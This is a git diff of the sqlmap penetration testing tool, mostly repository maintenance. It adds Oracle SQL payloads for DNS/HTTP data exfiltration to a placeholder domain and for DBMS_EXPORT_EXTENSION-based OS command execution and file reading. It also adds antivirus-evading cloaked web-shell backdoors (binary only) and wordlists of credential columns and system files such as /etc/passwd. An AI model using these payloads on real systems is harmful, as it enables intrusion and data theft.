diff --git a/.gitattributes b/.gitattributes index 806cf1b9a63..a99321d231b 100644 --- a/.gitattributes +++ b/.gitattributes @@ -1,8 +1,18 @@ *.conf text eol=lf +*.json text eol=lf +*.html text eol=lf *.md text eol=lf *.md5 text eol=lf +*.pl text eol=lf *.py text eol=lf +*.sh text eol=lf +*.sql text eol=lf +*.txt text eol=lf *.xml text eol=lf +*.yaml text eol=lf +*.yml text eol=lf +LICENSE text eol=lf +COMMITMENT text eol=lf *_ binary *.dll binary diff --git a/.github/FUNDING.yml b/.github/FUNDING.yml new file mode 100644 index 00000000000..e6b299956eb --- /dev/null +++ b/.github/FUNDING.yml @@ -0,0 +1 @@ +github: sqlmapproject diff --git a/.github/ISSUE_TEMPLATE.md b/.github/ISSUE_TEMPLATE.md deleted file mode 100644 index cf4ea5111ad..00000000000 --- a/.github/ISSUE_TEMPLATE.md +++ /dev/null @@ -1,26 +0,0 @@ -## What's the problem (or question)? - - - -## Do you have an idea for a solution? - - - -## How can we reproduce the issue? - -1. -2. -3. -4. - -## What are the running context details? - -* Installation method (e.g. `pip`, `apt-get`, `git clone` or `zip`/`tar.gz`): -* Client OS (e.g. `Microsoft Windows 10`) -* Program version (`python sqlmap.py --version` or `sqlmap --version` depending on installation): -* Target DBMS (e.g. `Microsoft SQL Server`): -* Detected WAF/IPS protection (e.g. `ModSecurity` or `unknown`): -* SQLi techniques found by sqlmap (e.g. `error-based` and `boolean-based blind`): -* Results of manual target assessment (e.g. found that the payload `query=test' AND 4113 IN ((SELECT 'foobar'))-- qKLV` works): -* Relevant console output (if any): -* Exception traceback (if any): diff --git a/.github/ISSUE_TEMPLATE/bug_report.md b/.github/ISSUE_TEMPLATE/bug_report.md new file mode 100644 index 00000000000..0a2d0fe4aea --- /dev/null +++ b/.github/ISSUE_TEMPLATE/bug_report.md @@ -0,0 +1,37 @@ +--- +name: Bug report +about: Create a report to help us improve +title: '' +labels: bug report +assignees: '' + +--- + +**Describe the bug** +A clear and concise description of what the bug is. + +**To Reproduce** +1. Run '...' +2. See error + +**Expected behavior** +A clear and concise description of what you expected to happen. + +**Screenshots** +If applicable, add screenshots to help explain your problem. + +**Running environment:** + - sqlmap version [e.g. 1.7.2.12#dev] + - Installation method [e.g. pip] + - Operating system: [e.g. Microsoft Windows 11] + - Python version [e.g. 3.11.2] + +**Target details:** + - DBMS [e.g. Microsoft SQL Server] + - SQLi techniques found by sqlmap [e.g. error-based and boolean-based blind] + - WAF/IPS [if any] + - Relevant console output [if any] + - Exception traceback [if any] + +**Additional context** +Add any other context about the problem here. diff --git a/.github/ISSUE_TEMPLATE/feature_request.md b/.github/ISSUE_TEMPLATE/feature_request.md new file mode 100644 index 00000000000..e301d68ce74 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/feature_request.md @@ -0,0 +1,20 @@ +--- +name: Feature request +about: Suggest an idea for this project +title: '' +labels: feature request +assignees: '' + +--- + +**Is your feature request related to a problem? Please describe.** +A clear and concise description of what the problem is. Ex. I'm always frustrated when [...] + +**Describe the solution you'd like** +A clear and concise description of what you want to happen. + +**Describe alternatives you've considered** +A clear and concise description of any alternative solutions or features you've considered. + +**Additional context** +Add any other context or screenshots about the feature request here. diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml new file mode 100644 index 00000000000..25100961dcd --- /dev/null +++ b/.github/workflows/tests.yml @@ -0,0 +1,31 @@ +on: + push: + branches: [ master ] + pull_request: + branches: [ master ] + +jobs: + build: + runs-on: ${{ matrix.os }} + strategy: + matrix: + os: [ubuntu-latest, macos-latest, windows-latest] + python-version: [ 'pypy-2.7', '3.8', '3.14' ] + exclude: + - os: macos-latest + python-version: 'pypy-2.7' + steps: + - name: Checkout code + uses: actions/checkout@v4 + with: + fetch-depth: 1 + - name: Set up Python ${{ matrix.python-version }} + uses: actions/setup-python@v5 + with: + python-version: ${{ matrix.python-version }} + - name: Basic import test + run: python -c "import sqlmap; import sqlmapapi" + - name: Smoke test + run: python sqlmap.py --smoke + - name: Vuln test + run: python sqlmap.py --vuln diff --git a/.gitignore b/.gitignore index 81f58777842..1f7f94a3b1e 100644 --- a/.gitignore +++ b/.gitignore @@ -1,6 +1,8 @@ -*.py[cod] output/ +__pycache__/ +*.py[cod] .sqlmap_history traffic.txt *~ +req*.txt .idea/ \ No newline at end of file diff --git a/.travis.yml b/.travis.yml deleted file mode 100644 index 192acbf7516..00000000000 --- a/.travis.yml +++ /dev/null @@ -1,9 +0,0 @@ -language: python -sudo: false -git: - depth: 1 -python: - - "2.6" - - "2.7" -script: - - python -c "import sqlmap; import sqlmapapi" diff --git a/COMMITMENT b/COMMITMENT deleted file mode 100644 index a687e0ddb6f..00000000000 --- a/COMMITMENT +++ /dev/null @@ -1,46 +0,0 @@ -GPL Cooperation Commitment -Version 1.0 - -Before filing or continuing to prosecute any legal proceeding or claim -(other than a Defensive Action) arising from termination of a Covered -License, we commit to extend to the person or entity ('you') accused -of violating the Covered License the following provisions regarding -cure and reinstatement, taken from GPL version 3. As used here, the -term 'this License' refers to the specific Covered License being -enforced. - - However, if you cease all violation of this License, then your - license from a particular copyright holder is reinstated (a) - provisionally, unless and until the copyright holder explicitly - and finally terminates your license, and (b) permanently, if the - copyright holder fails to notify you of the violation by some - reasonable means prior to 60 days after the cessation. - - Moreover, your license from a particular copyright holder is - reinstated permanently if the copyright holder notifies you of the - violation by some reasonable means, this is the first time you - have received notice of violation of this License (for any work) - from that copyright holder, and you cure the violation prior to 30 - days after your receipt of the notice. - -We intend this Commitment to be irrevocable, and binding and -enforceable against us and assignees of or successors to our -copyrights. - -Definitions - -'Covered License' means the GNU General Public License, version 2 -(GPLv2), the GNU Lesser General Public License, version 2.1 -(LGPLv2.1), or the GNU Library General Public License, version 2 -(LGPLv2), all as published by the Free Software Foundation. - -'Defensive Action' means a legal proceeding or claim that We bring -against you in response to a prior proceeding or claim initiated by -you or your affiliate. - -'We' means each contributor to this repository as of the date of -inclusion of this file, including subsidiaries of a corporate -contributor. - -This work is available under a Creative Commons Attribution-ShareAlike -4.0 International license (https://creativecommons.org/licenses/by-sa/4.0/). diff --git a/LICENSE b/LICENSE index da63e45d6bb..cc0480cafb4 100644 --- a/LICENSE +++ b/LICENSE @@ -1,7 +1,7 @@ COPYING -- Describes the terms under which sqlmap is distributed. A copy of the GNU General Public License (GPL) is appended to this file. -sqlmap is (C) 2006-2019 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar. +sqlmap is (C) 2006-2026 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar. This program is free software; you may redistribute and/or modify it under the terms of the GNU General Public License as published by the Free diff --git a/README.md b/README.md index ad48e852818..e85b3a04359 100644 --- a/README.md +++ b/README.md @@ -1,28 +1,26 @@ -# sqlmap +# sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) -sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections. - -**The sqlmap project is sponsored by [Netsparker Web Application Security Scanner](https://www.netsparker.com/scan-website-security-issues/?utm_source=sqlmap.org&utm_medium=banner&utm_campaign=github).** +sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switches including database fingerprinting, over data fetching from the database, accessing the underlying file system, and executing commands on the operating system via out-of-band connections. Screenshots ---- ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) -You can visit the [collection of screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) demonstrating some of features on the wiki. +You can visit the [collection of screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) demonstrating some of the features on the wiki. Installation ---- -You can download the latest tarball by clicking [here](https://github.com/sqlmapproject/sqlmap/tarball/master) or latest zipball by clicking [here](https://github.com/sqlmapproject/sqlmap/zipball/master). +You can download the latest tarball by clicking [here](https://github.com/sqlmapproject/sqlmap/tarball/master) or latest zipball by clicking [here](https://github.com/sqlmapproject/sqlmap/zipball/master). Preferably, you can download sqlmap by cloning the [Git](https://github.com/sqlmapproject/sqlmap) repository: git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap works out of the box with [Python](http://www.python.org/download/) version **2.6.x** and **2.7.x** on any platform. +sqlmap works out of the box with [Python](https://www.python.org/download/) version **2.7** and **3.x** on any platform. Usage ---- @@ -36,35 +34,47 @@ To get a list of all options and switches use: python sqlmap.py -hh You can find a sample run [here](https://asciinema.org/a/46601). -To get an overview of sqlmap capabilities, list of supported features and description of all options and switches, along with examples, you are advised to consult the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki/Usage). +To get an overview of sqlmap capabilities, a list of supported features, and a description of all options and switches, along with examples, you are advised to consult the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Links ---- -* Homepage: http://sqlmap.org +* Homepage: https://sqlmap.org * Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Issue tracker: https://github.com/sqlmapproject/sqlmap/issues * User's manual: https://github.com/sqlmapproject/sqlmap/wiki * Frequently Asked Questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Twitter: [@sqlmap](https://twitter.com/sqlmap) -* Demos: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos) +* X: [@sqlmap](https://x.com/sqlmap) +* Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots Translations ---- +* [Arabic](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ar-AR.md) +* [Bengali](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-bn-BD.md) * [Bulgarian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-bg-BG.md) * [Chinese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-zh-CN.md) * [Croatian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-hr-HR.md) +* [Dutch](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-nl-NL.md) * [French](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fr-FR.md) +* [Georgian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ka-GE.md) +* [German](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-de-DE.md) * [Greek](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-gr-GR.md) +* [Hindi](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-in-HI.md) * [Indonesian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-id-ID.md) * [Italian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-it-IT.md) * [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md) +* [Korean](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ko-KR.md) +* [Kurdish (Central)](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ckb-KU.md) +* [Persian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fa-IR.md) * [Polish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md) * [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md) -* [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RUS.md) +* [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RU.md) +* [Serbian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-rs-RS.md) +* [Slovak](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-sk-SK.md) * [Spanish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-es-MX.md) * [Turkish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-tr-TR.md) * [Ukrainian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-uk-UA.md) +* [Vietnamese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-vi-VN.md) diff --git a/procs/README.txt b/data/procs/README.txt similarity index 100% rename from procs/README.txt rename to data/procs/README.txt diff --git a/procs/mssqlserver/activate_sp_oacreate.sql b/data/procs/mssqlserver/activate_sp_oacreate.sql similarity index 100% rename from procs/mssqlserver/activate_sp_oacreate.sql rename to data/procs/mssqlserver/activate_sp_oacreate.sql diff --git a/procs/mssqlserver/configure_openrowset.sql b/data/procs/mssqlserver/configure_openrowset.sql similarity index 100% rename from procs/mssqlserver/configure_openrowset.sql rename to data/procs/mssqlserver/configure_openrowset.sql diff --git a/procs/mssqlserver/configure_xp_cmdshell.sql b/data/procs/mssqlserver/configure_xp_cmdshell.sql similarity index 100% rename from procs/mssqlserver/configure_xp_cmdshell.sql rename to data/procs/mssqlserver/configure_xp_cmdshell.sql diff --git a/procs/mssqlserver/create_new_xp_cmdshell.sql b/data/procs/mssqlserver/create_new_xp_cmdshell.sql similarity index 100% rename from procs/mssqlserver/create_new_xp_cmdshell.sql rename to data/procs/mssqlserver/create_new_xp_cmdshell.sql diff --git a/procs/mssqlserver/disable_xp_cmdshell_2000.sql b/data/procs/mssqlserver/disable_xp_cmdshell_2000.sql similarity index 100% rename from procs/mssqlserver/disable_xp_cmdshell_2000.sql rename to data/procs/mssqlserver/disable_xp_cmdshell_2000.sql diff --git a/procs/mssqlserver/dns_request.sql b/data/procs/mssqlserver/dns_request.sql similarity index 100% rename from procs/mssqlserver/dns_request.sql rename to data/procs/mssqlserver/dns_request.sql diff --git a/procs/mssqlserver/enable_xp_cmdshell_2000.sql b/data/procs/mssqlserver/enable_xp_cmdshell_2000.sql similarity index 100% rename from procs/mssqlserver/enable_xp_cmdshell_2000.sql rename to data/procs/mssqlserver/enable_xp_cmdshell_2000.sql diff --git a/procs/mssqlserver/run_statement_as_user.sql b/data/procs/mssqlserver/run_statement_as_user.sql similarity index 100% rename from procs/mssqlserver/run_statement_as_user.sql rename to data/procs/mssqlserver/run_statement_as_user.sql diff --git a/procs/mysql/dns_request.sql b/data/procs/mysql/dns_request.sql similarity index 100% rename from procs/mysql/dns_request.sql rename to data/procs/mysql/dns_request.sql diff --git a/procs/mysql/write_file_limit.sql b/data/procs/mysql/write_file_limit.sql similarity index 100% rename from procs/mysql/write_file_limit.sql rename to data/procs/mysql/write_file_limit.sql diff --git a/data/procs/oracle/dns_request.sql b/data/procs/oracle/dns_request.sql new file mode 100644 index 00000000000..5dda762c08d --- /dev/null +++ b/data/procs/oracle/dns_request.sql @@ -0,0 +1,3 @@ +SELECT UTL_INADDR.GET_HOST_ADDRESS('%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%') FROM DUAL +# or SELECT UTL_HTTP.REQUEST('http://%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%') FROM DUAL +# or (CVE-2014-6577) SELECT EXTRACTVALUE(xmltype(' %remote;]>'),'/l') FROM dual diff --git a/data/procs/oracle/read_file_export_extension.sql b/data/procs/oracle/read_file_export_extension.sql new file mode 100644 index 00000000000..3d66bbaf53d --- /dev/null +++ b/data/procs/oracle/read_file_export_extension.sql @@ -0,0 +1,4 @@ +SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "OsUtil" as import java.io.*; public class OsUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'''';END;'';END;--','SYS',0,'1',0) FROM DUAL +SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) FROM DUAL +SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function OSREADFILE(filename in varchar2) return varchar2 as language java name ''''''''OsUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) FROM DUAL +SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on OSREADFILE to public'''';END;'';END;--','SYS',0,'1',0) FROM DUAL diff --git a/procs/postgresql/dns_request.sql b/data/procs/postgresql/dns_request.sql similarity index 100% rename from procs/postgresql/dns_request.sql rename to data/procs/postgresql/dns_request.sql diff --git a/shell/README.txt b/data/shell/README.txt similarity index 83% rename from shell/README.txt rename to data/shell/README.txt index 77b1c57ee9f..4c64c411648 100644 --- a/shell/README.txt +++ b/data/shell/README.txt @@ -1,7 +1,7 @@ -Due to the anti-virus positive detection of shell scripts stored inside this folder, we needed to somehow circumvent this. As from the plain sqlmap users perspective nothing has to be done prior to their usage by sqlmap, but if you want to have access to their original source code use the decrypt functionality of the ../extra/cloak/cloak.py utility. +Due to the anti-virus positive detection of shell scripts stored inside this folder, we needed to somehow circumvent this. As from the plain sqlmap users perspective nothing has to be done prior to their usage by sqlmap, but if you want to have access to their original source code use the decrypt functionality of the ../../extra/cloak/cloak.py utility. To prepare the original scripts to the cloaked form use this command: -find backdoors/backdoor.* stagers/stager.* -type f -exec python ../extra/cloak/cloak.py -i '{}' \; +find backdoors/backdoor.* stagers/stager.* -type f -exec python ../../extra/cloak/cloak.py -i '{}' \; To get back them into the original form use this: -find backdoors/backdoor.*_ stagers/stager.*_ -type f -exec python ../extra/cloak/cloak.py -d -i '{}' \; +find backdoors/backdoor.*_ stagers/stager.*_ -type f -exec python ../../extra/cloak/cloak.py -d -i '{}' \; diff --git a/data/shell/backdoors/backdoor.asp_ b/data/shell/backdoors/backdoor.asp_ new file mode 100644 index 00000000000..8d82ec3bd34 Binary files /dev/null and b/data/shell/backdoors/backdoor.asp_ differ diff --git a/data/shell/backdoors/backdoor.aspx_ b/data/shell/backdoors/backdoor.aspx_ new file mode 100644 index 00000000000..4b27111e5a5 Binary files /dev/null and b/data/shell/backdoors/backdoor.aspx_ differ diff --git a/data/shell/backdoors/backdoor.cfm_ b/data/shell/backdoors/backdoor.cfm_ new file mode 100644 index 00000000000..dce65debacb Binary files /dev/null and b/data/shell/backdoors/backdoor.cfm_ differ diff --git a/data/shell/backdoors/backdoor.jsp_ b/data/shell/backdoors/backdoor.jsp_ new file mode 100644 index 00000000000..c28a51a5abf Binary files /dev/null and b/data/shell/backdoors/backdoor.jsp_ differ diff --git a/data/shell/backdoors/backdoor.php_ b/data/shell/backdoors/backdoor.php_ new file mode 100644 index 00000000000..313b4a89b19 Binary files /dev/null and b/data/shell/backdoors/backdoor.php_ differ diff --git a/data/shell/stagers/stager.asp_ b/data/shell/stagers/stager.asp_ new file mode 100644 index 00000000000..424e85b64e6 Binary files /dev/null and b/data/shell/stagers/stager.asp_ differ diff --git a/data/shell/stagers/stager.aspx_ b/data/shell/stagers/stager.aspx_ new file mode 100644 index 00000000000..acbf840bc04 Binary files /dev/null and b/data/shell/stagers/stager.aspx_ differ diff --git a/data/shell/stagers/stager.cfm_ b/data/shell/stagers/stager.cfm_ new file mode 100644 index 00000000000..8193566e523 Binary files /dev/null and b/data/shell/stagers/stager.cfm_ differ diff --git a/data/shell/stagers/stager.jsp_ b/data/shell/stagers/stager.jsp_ new file mode 100644 index 00000000000..f1c0feb3384 Binary files /dev/null and b/data/shell/stagers/stager.jsp_ differ diff --git a/data/shell/stagers/stager.php_ b/data/shell/stagers/stager.php_ new file mode 100644 index 00000000000..945a37e80c4 Binary files /dev/null and b/data/shell/stagers/stager.php_ differ diff --git a/txt/common-columns.txt b/data/txt/common-columns.txt similarity index 91% rename from txt/common-columns.txt rename to data/txt/common-columns.txt index 5d7c5b62452..a3d425bee12 100644 --- a/txt/common-columns.txt +++ b/data/txt/common-columns.txt @@ -1,4 +1,4 @@ -# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) # See the file 'LICENSE' for copying permission id @@ -474,6 +474,7 @@ module_addr flag # spanish + usuario nombre contrasena @@ -484,8 +485,11 @@ llave chaveta tono cuna +correo +contrasenia # german + benutzername benutzer passwort @@ -499,6 +503,7 @@ stichwort schlusselwort # french + utilisateur usager consommateur @@ -510,6 +515,7 @@ touche clef # italian + utente nome utilizzatore @@ -521,17 +527,109 @@ chiavetta cifrario # portuguese + usufrutuario chave cavilha # slavic + korisnik sifra lozinka kljuc +# turkish + +isim +ad +adi +soyisim +soyad +soyadi +kimlik +kimlikno +tckimlikno +tckimlik +yonetici +sil +silinmis +numara +sira +lokasyon +kullanici +kullanici_adi +sifre +giris +pasif +posta +adres +is_adres +ev_adres +is_adresi +ev_adresi +isadresi +isadres +evadresi +evadres +il +ilce +eposta +eposta_adres +epostaadres +eposta_adresi +epostaadresi +e-posta +e-posta_adres +e-postaadres +e-posta_adresi +e-postaadresi +e_posta +e_posta_adres +e_postaadres +e_posta_adresi +e_postaadresi +baglanti +gun +ay +yil +saat +tarih +guncelleme +guncellemetarih +guncelleme_tarih +guncellemetarihi +guncelleme_tarihi +yetki +cinsiyet +ulke +guncel +vergi +vergino +vergi_no +yas +dogum +dogumtarih +dogum_tarih +dogumtarihi +dogum_tarihi +telefon_is +telefon_ev +telefonis +telefonev +ev_telefonu +is_telefonu +ev_telefon +is_telefon +evtelefonu +istelefonu +evtelefon +istelefon +kontak +kontaklar + # List from schemafuzz.py (http://www.beenuarora.com/code/schemafuzz.py) + user pass cc_number @@ -702,7 +800,9 @@ news nick number nummer +passhash pass_hash +password_hash passwordsalt personal_key phone @@ -755,6 +855,7 @@ xar_name xar_pass # List from http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html + account accnts accnt @@ -824,6 +925,7 @@ user_pwd user_passwd # List from hyrax (http://sla.ckers.org/forum/read.php?16,36047) + fld_id fld_username fld_password @@ -976,6 +1078,7 @@ yhmm yonghu # site:br + content_id codigo geometry @@ -1232,6 +1335,7 @@ newssummaryauthor and_xevento # site:de + rolle_nr standort_nr ja @@ -1394,6 +1498,7 @@ summary_id gameid # site:es + catid dni prune_id @@ -1483,6 +1588,7 @@ time_stamp bannerid # site:fr + numero id_auteur titre @@ -1534,6 +1640,7 @@ n_dir age # site:ru + dt_id subdivision_id sub_class_id @@ -1737,8 +1844,13 @@ banner_id error language_id val +parol +familiya +imya +otchestvo # site:jp + dealer_id modify_date regist_date @@ -1870,6 +1982,7 @@ c_commu_topic_id c_diary_comment_log_id # site:it + idcomune idruolo idtrattamento @@ -2373,6 +2486,7 @@ client_img does_repeat # site:cn + typeid cronid advid @@ -2548,6 +2662,7 @@ disablepostctrl fieldname # site:id + ajar akses aktif @@ -2563,6 +2678,7 @@ jeda jenis jml judul +jumlah kata_kunci kata_sandi katakunci @@ -2575,6 +2691,7 @@ kunci lahir nama nama_akun +nama_ibu_kandung nama_pengguna namaakun namapengguna @@ -2584,6 +2701,7 @@ pengguna penjelasan perusahaan ponsel +profesi ruang sandi soal @@ -2591,6 +2709,7 @@ surat_elektronik surel tanggal tanggal_lahir +telepon tempat tempat_lahir tmp_lahir @@ -2599,9 +2718,137 @@ urut waktu # WebGoat + cookie login_count +# https://sqlwiki.netspi.com/attackQueries/dataTargeting/ + +credit +card +pin +cvv +pan +password +social +ssn +account +confidential + +# site:nl + +naam +straat +gemeente +beschrijving +id_gebruiker +gebruiker_id +gebruikersnaam +wachtwoord +telefoon +voornaam +achternaam +geslacht +huisnummer +gemeente +leeftijd + +# site:cn + +yonghuming +mima +xingming +xingbie +touxiang +youxiang +shouji + # Misc u_pass +hashedPw + +# password (international) + +adgangskode +aikotoba +amho +bimilbeonho +codewort +contrasena +contrasenya +contrasinal +esmeramz +facalfare +fjalekalim +focalfaire +gagtnabar +geslo +gozarvazhe +gunho +haslo +heslo +hudyat +igamalokungena +iphasiwedi +javka +jelszo +kadavucol +kalameobur +kalimatumurur +kalimatusirr +kalmarsirri +katalaluan +katasandi +kennwort +kodeord +kodikos +kouling +kupiasoz +kupuhipa +kupukaranga +kupuuru +kupuwhakahipa +losen +losenord +lozinka +lykilord +matkhau +mima +nenosiri +nywila +okwuntughe +oroasina +oroigbaniwole +paeseuwodeu +parol +parola +parolachiave +paroladordine +parole +paroli +parolja +parool +parulle +pasahitza +pasfhocal +pasowardo +passord +passwort +pasuwado +pasvorto +rahatphan +ramzobur +salasana +salasona +santoysena +senha +sifra +sifre +sisma +slaptazodis +synthimatiko +tunnussana +wachtwoord +wachtwurd +wagwoord diff --git a/data/txt/common-files.txt b/data/txt/common-files.txt new file mode 100644 index 00000000000..d64015805e8 --- /dev/null +++ b/data/txt/common-files.txt @@ -0,0 +1,1809 @@ +# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +# See the file 'LICENSE' for copying permission + +# CTFs + +/flag +/flag.txt +/readflag + +# Reference: https://gist.github.com/sckalath/78ad449346171d29241a + +/apache/logs/access.log +/apache/logs/error.log +/bin/php.ini +/etc/alias +/etc/apache2/apache.conf +/etc/apache2/conf/httpd.conf +/etc/apache2/httpd.conf +/etc/apache/conf/httpd.conf +/etc/bash.bashrc +/etc/chttp.conf +/etc/crontab +/etc/crypttab +/etc/debian_version +/etc/exports +/etc/fedora-release +/etc/fstab +/etc/ftphosts +/etc/ftpusers +/etc/group +/etc/group- +/etc/hosts +/etc/http/conf/httpd.conf +/etc/httpd.conf +/etc/httpd/conf/httpd.conf +/etc/httpd/httpd.conf +/etc/httpd/logs/acces_log +/etc/httpd/logs/acces.log +/etc/httpd/logs/access_log +/etc/httpd/logs/access.log +/etc/httpd/logs/error_log +/etc/httpd/logs/error.log +/etc/httpd/php.ini +/etc/http/httpd.conf +/etc/inetd.conf +/etc/inittab +/etc/issue +/etc/issue.net +/etc/lighttpd.conf +/etc/login.defs +/etc/mandrake-release +/etc/motd +/etc/mtab +/etc/my.cnf +/etc/mysql/my.cnf +/etc/openldap/ldap.conf +/etc/os-release +/etc/pam.conf +/etc/passwd +/etc/passwd- +/etc/password.master +/etc/php4.4/fcgi/php.ini +/etc/php4/apache2/php.ini +/etc/php4/apache/php.ini +/etc/php4/cgi/php.ini +/etc/php5/apache2/php.ini +/etc/php5/apache/php.ini +/etc/php5/cgi/php.ini +/etc/php/apache2/php.ini +/etc/php/apache/php.ini +/etc/php/cgi/php.ini +/etc/php.ini +/etc/php/php4/php.ini +/etc/php/php.ini +/etc/profile +/etc/proftp.conf +/etc/proftpd/modules.conf +/etc/protpd/proftpd.conf +/etc/pure-ftpd.conf +/etc/pureftpd.passwd +/etc/pureftpd.pdb +/etc/pure-ftpd/pure-ftpd.conf +/etc/pure-ftpd/pure-ftpd.pdb +/etc/pure-ftpd/pureftpd.pdb +/etc/redhat-release +/etc/resolv.conf +/etc/samba/smb.conf +/etc/security/environ +/etc/security/group +/etc/security/limits 